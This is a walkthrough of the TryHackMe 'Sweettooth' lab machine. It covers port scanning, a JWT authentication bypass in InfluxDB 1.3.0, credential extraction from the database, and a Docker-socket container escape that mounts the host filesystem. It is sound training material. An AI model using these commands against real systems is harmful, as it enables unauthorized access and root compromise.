This is the medium box on TryHackMe website. It requires the some knowledge about docker. Lets start
For beginning I put the ip in /etc/hosts for convinient

10.10.125.102 sweettooth.thm

Enumeration

Port Scanning

We begin with some nmap to find out which service is running on this host

nmap -v- sweettooth.thm
...
PORT     STATE SERVICE
111/tcp  open  rpcbind
2222/tcp open  EtherNetIP-1
8086/tcp open  d-s-n

We found service running on this machine. Let’s scan for the name of each services

nmap -A -p 111,2222,8086 sweettooth.thm
...
PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36797/udp   status
|   100024  1          51971/tcp   status
|   100024  1          55166/udp6  status
|_  100024  1          56251/tcp6  status
2222/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 b0:ce:c9:21:65:89:94:52:76:48:ce:d8:c8:fc:d4:ec (DSA)
|   2048 7e:86:88:fe:42:4e:94:48:0a:aa:da:ab:34:61:3c:6e (RSA)
|   256 04:1c:82:f6:a6:74:53:c9:c4:6f:25:37:4c:bf:8b:a8 (ECDSA)
|_  256 49:4b:dc:e6:04:07:b6:d5:ab:c0:b0:a3:42:8e:87:b5 (ED25519)
8086/tcp open  http    InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 5 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Base on the result, we know that:

  • Port 111: there is some nfs service on this port
  • Port 2222: ssh
  • Port 8086: Server for managin database

I will start with nfs services

port 111

Base on my experiments, this port can hold information about which directory we can mount to our local machine. Let’s scan for more information

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount sweettooth.thm 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-27 08:48 EDT
Nmap scan report for sweettooth.thm (10.10.125.102)
Host is up (0.47s latency).
PORT    STATE SERVICE
111/tcp open  rpcbind
Nmap done: 1 IP address (1 host up) scanned in 2.54 seconds

Sadly, it give us nothing. Looklike we have been lock by this service. It can be the services only allow for inside network mount. So we countinue with another port.

Port 8086

I try to access the server with the broswer with the path / but i got this reponse.

404 page not found

According to the nmap scanning result, we know this is the server for InfluxDB Admin management. So the best way to enumerate this one is going online and search InfluxDB documentation and more specific is the API document (be carefull to find the correct version of it). And here what I found (link):
alt text
These are list of its API endpoints. The endpoint /query and /write look very promising. I will do it first.
alt text
Life is not easy like that, right? It require usernaem and password. At this point we can brute force it but it is not a good idea. Let’s try other endpoint. And look what I found on the endpoint /debug/requests
alt text
We found a username on it. I will note it down.

Exploit

Brute force password

For the bottom of my heart, I know this will not work but i still try. I try to brute force the password with our gathered username with hydra for basic authentication

hydra -l <our_username> -P rockyou.txt -s 8086 -f sweettooth.thm http-get /query
....

And yeah … doesn’t work. This script running for nearly 10’ and does not give us any result. So this is not the right way

Bypass authentication

While my stupid brute forcing running, I try to google is there CVE or exploti about InfluxDB 1.3.0. And I found 1 one is CVE-2019-20933. The description of it said that:

InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret)

It means that if we choose to login with JWT token instead of basic authentication (like what I am try to brute force) with empty shared secret key we can bypass this. This is a very dangerous logic flaw. So I go in the document to find how can we login with JWT.
I cannot found it the version 1.3 and i try to read documentation of other version. And i found it here. We just need to add this line to the header

Authorization: Bearer <myToken>

So I create an JSON like this

{
  "username": "#######",
  "exp": 1516239022
}

With username is the user we found and exp is the epoch timestamp for the expired day of our token (remember to change to your day). Now you can go to here to make a JWT token (remember to leave the secret key empty so that we can bypass):
alt text
And now I using Burpsuite to intercept the request and inject my token:
alt text
Now i we have successfully bypass the authentication. It is a very easy exploit.

To RCE

Now we about to make a query in the database. I will first list all database with param /query?q=show databases. Now we have these databases:

["_internal"],["creds"],["docker"],["tanks"],["mixer"]

You can read data from 2 databases tanks and mixer to answer question from website. There is a database name creds which could be stands for credentials. I try to lookup it with this param /query?q=show%20MEASUREMENTS&db=creds and it got this:

{"name":"measurements","columns":["name"],"values":[["ssh"]]}

There a table show the credential for SSH. Try /query?q=select%20*%20from%20ssh&db=creds you will get the ssh credentail for login.

Get to root

We got the credentail, now let’s ssh to victim machine (remember ssh in on port 2222 not 22).

ssh #########@sweettooth.thm -p 2222
uzJk6Ry98d8C@sweettooth.thm's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
############@17d68d3dd19e:~$ cat user.txt
THM{.........}

Now I try to enumerate it. When listing the root folder I found 2 script there (this must be a hint). Reading the first script entrypoint.sh

#!/bin/bash
set -e

if [ "${1:0:1}" = '-' ]; then
    set -- influxd "$@"
fi

exec "$@"

Quite interesting but read the next script initializeandquery.sh. I found something more interesting

...
socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock &

# query each 5 seconds and write docker statistics to database
while true; do
  curl -o /dev/null -G http://localhost:8086/query?pretty=true --data-urlencode "q=show databases" --data-urlencode "u=o5yY6yya" --data-urlencode "p=mJjeQ44e2unu"
  sleep 5
  response="$(curl localhost:8080/containers/json)"
  containername=`(jq '.[0].Names' <<< "$response") | jq .[0] | grep -Eo "[a-zA-Z]+"`
  status=`jq '.[0].State' <<< "$response"`
  influx -username o5yY6yya -password mJjeQ44e2unu -execute "insert into docker.autogen stats containername=\"$containername\",stats=\"$status\""
done

So it must be a another server running on port 8080 can only be access internally (that why we cannot found it on nmap scan). For this one, there are numerous way to enumerate this server. But I prefer create a ssh port forwarding so that I can access it from my local port:

ssh -L 80:127.0.0.1:8080 ##########@sweettooth.thm -p 2222

Now I can access to http://localhost/containers/json to see what is in there
alt text
This json for all docker container is running on this host. Now i rememeber the technique I use in the box The Greate Escape so that we can access to the docker container. So i go use my docker client to connect with the docker

root@kali:~# docker -H localhost:80 image ls
REPOSITORY      TAG       IMAGE ID       CREATED        SIZE
sweettoothinc   latest    26a697c0d00f   2 months ago   359MB
influxdb        1.3.0     e1b5eda429c3   4 years ago    227MB

There is 2 image is running. So we can connect to that image and open a shell with the flag -it

root@kali:~# docker -H localhost:80 run -it sweettoothinc:latest
chmod: cannot access '/var/run/docker.sock': No such file or directory
/bin/bash: connect: Network is unreachable
/bin/bash: /dev/tcp/localhost/8086: Network is unreachable

 8888888           .d888 888                   8888888b.  888888b.
   888            d88P"  888                   888  "Y88b 888  "88b
   888            888    888                   888    888 888  .88P
   888   88888b.  888888 888 888  888 888  888 888    888 8888888K.
   888   888 "88b 888    888 888  888  Y8bd8P' 888    888 888  "Y88b
   888   888  888 888    888 888  888   X88K   888    888 888    888
   888   888  888 888    888 Y88b 888 .d8""8b. 888  .d88P 888   d88P
 8888888 888  888 888    888  "Y88888 888  888 8888888P"  8888888P"

[I] 2021-07-27T13:57:20Z InfluxDB starting, version 1.3.0, branch master, commit 76124df5c121e411e99807b9473a03eb785cd43b
[I] 2021-07-27T13:57:20Z Go version go1.8.3, GOMAXPROCS set to 1
[I] 2021-07-27T13:57:20Z Using configuration at: /etc/influxdb/influxdb.conf
[I] 2021-07-27T13:57:20Z Using data dir: /home/uzJk6Ry98d8C/data service=store
[I] 2021-07-27T13:57:20Z opened service service=subscriber
[I] 2021-07-27T13:57:20Z Starting monitor system service=monitor
[I] 2021-07-27T13:57:20Z 'build' registered for diagnostics monitoring service=monitor
[I] 2021-07-27T13:57:20Z 'runtime' registered for diagnostics monitoring service=monitor
[I] 2021-07-27T13:57:20Z 'network' registered for diagnostics monitoring service=monitor
[I] 2021-07-27T13:57:20Z 'system' registered for diagnostics monitoring service=monitor
[I] 2021-07-27T13:57:20Z Starting precreation service with check interval of 10m0s, advance period of 30m0s service=shard-precreation
[I] 2021-07-27T13:57:20Z Starting snapshot service service=snapshot
[I] 2021-07-27T13:57:20Z Starting continuous query service service=continuous_querier
[I] 2021-07-27T13:57:20Z Starting HTTP service service=httpd
[I] 2021-07-27T13:57:20Z Authentication enabled:true service=httpd
[I] 2021-07-27T13:57:20Z Listening on HTTP:[::]:8086 service=httpd
[I] 2021-07-27T13:57:20Z Starting retention policy enforcement service with check interval of 30m0s service=retention
[I] 2021-07-27T13:57:20Z Listening for signals
[I] 2021-07-27T13:57:20Z Storing statistics in database '_internal' retention policy 'monitor', at interval 10s service=monitor
^C
Session terminated, terminating shell...[I] 2021-07-27T13:57:28Z Signal received, initializing clean shutdown...
[I] 2021-07-27T13:57:28Z Waiting for clean shutdown...
[I] 2021-07-27T13:57:28Z shutting down monitor system service=monitor
[I] 2021-07-27T13:57:28Z Precreation service terminating service=shard-precreation
[I] 2021-07-27T13:57:28Z snapshot listener closed service=snapshot
[I] 2021-07-27T13:57:28Z continuous query service terminating service=continuous_querier
[I] 2021-07-27T13:57:28Z retention policy enforcement terminating service=retention
[I] 2021-07-27T13:57:28Z closed service service=subscriber
[I] 2021-07-27T13:57:28Z server shutdown completed
 ...terminated.

I cannot open a shell cause there is a command run when I access to that image. After google search, I found we can use the flag --entrypoint to override the command. Lets try it:

root@kali:~# docker -H localhost:80 run -it --entrypoint=/bin/bash sweettoothinc:latest
root@3882d267bb58:/# cd root    
root@3882d267bb58:/root# cat root.txt
THM{xxxxxxxxxxxxxxx}

And got the root but not the real one.

Escape from docker

For escaping, I use the same technique I use on The Greate Escape box, which is try to mount the folder on that machine to it image.
To mount you can use docker volume (link1, link2) like in the image below
alt text
We can use this command to mount:

docker -H localhost run -it --rm --entrypoint=/bin/bash -v /:/mnt/root sweettoothinc:latest

Let break down it:

  • docker -H localhost run: to connect to container and run flag allow us to run docker command on that container
  • -it: tells docker that it should open an interactive container instance (mean allow us to interact with the container like a shell)
  • --rm: remove the mount on the image after exit
  • -v /:/mnt/root alpine:3.9: using docker volume with flag -v to bind mount the folder / on the real machine to folder /mnt/root on the image sweettooth with tag latest
root@kali:~# docker -H localhost:80 run -it --entrypoint=/bin/bash -v /:/mnt/root sweettoothinc:latest
root@4336ce98c892:/# cd mnt/root/
root@4336ce98c892:/mnt/root# ls
bin   etc         initrd.img.old  lost+found  opt   run   sys  var
boot  home        lib             media       proc  sbin  tmp  vmlinuz
dev   initrd.img  lib64           mnt         root  srv   usr  vmlinuz.old
root@4336ce98c892:/mnt/root# cd root
root@4336ce98c892:/mnt/root/root# cat root.txt 
THM{xxxxxxxxxxxxx}
root@4336ce98c892:/mnt/root/root# 

And that is the end.